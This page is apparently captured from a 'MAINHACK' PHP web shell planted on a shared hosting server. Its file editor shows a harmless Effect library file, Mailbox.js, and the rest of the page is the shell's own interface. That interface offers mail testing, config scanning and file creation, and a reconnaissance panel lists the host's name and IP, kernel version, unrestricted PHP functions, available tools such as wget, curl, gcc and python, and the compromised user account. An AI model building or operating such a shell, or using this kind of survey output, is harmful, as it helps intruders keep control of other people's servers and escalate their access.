[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Mailbox.js
import * as internal from "./internal/mailbox.js"; import { hasProperty } from "./Predicate.js"; /** * @since 3.8.0 * @experimental * @category type ids */ export const TypeId = internal.TypeId; /** * @since 3.8.0 * @experimental * @category type ids */ export const ReadonlyTypeId = internal.ReadonlyTypeId; /** * @since 3.8.0 * @experimental * @category guards */ export const isMailbox = u => hasProperty(u, TypeId); /** * @since 3.8.0 * @experimental * @category guards */ export const isReadonlyMailbox = u => hasProperty(u, ReadonlyTypeId); /** * A `Mailbox` is a queue that can be signaled to be done or failed. * * @since 3.8.0 * @experimental * @category constructors * @example * ```ts * import * as assert from "node:assert" * import { Effect, Mailbox } from "effect" * * Effect.gen(function*() { * const mailbox = yield* Mailbox.make<number, string>() * * // add messages to the mailbox * yield* mailbox.offer(1) * yield* mailbox.offer(2) * yield* mailbox.offerAll([3, 4, 5]) * * // take messages from the mailbox * const [messages, done] = yield* mailbox.takeAll * assert.deepStrictEqual(messages, [1, 2, 3, 4, 5]) * assert.strictEqual(done, false) * * // signal that the mailbox is done * yield* mailbox.end * const [messages2, done2] = yield* mailbox.takeAll * assert.deepStrictEqual(messages2, []) * assert.strictEqual(done2, true) * * // signal that the mailbox has failed * yield* mailbox.fail("boom") * }) * ``` */ export const make = internal.make; /** * Run an `Effect` into a `Mailbox`, where success ends the mailbox and failure * fails the mailbox. * * @since 3.8.0 * @experimental * @category combinators */ export const into = internal.into; /** * Create a `Channel` from a `Mailbox`. * * @since 3.8.0 * @experimental * @category conversions */ export const toChannel = internal.toChannel; /** * Create a `Stream` from a `Mailbox`. * * @since 3.8.0 * @experimental * @category conversions */ export const toStream = internal.toStream; /** * Create a `ReadonlyMailbox` from a `Stream`. * * @since 3.11.0 * @experimental * @category conversions */ export const fromStream = internal.fromStream; //# sourceMappingURL=Mailbox.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344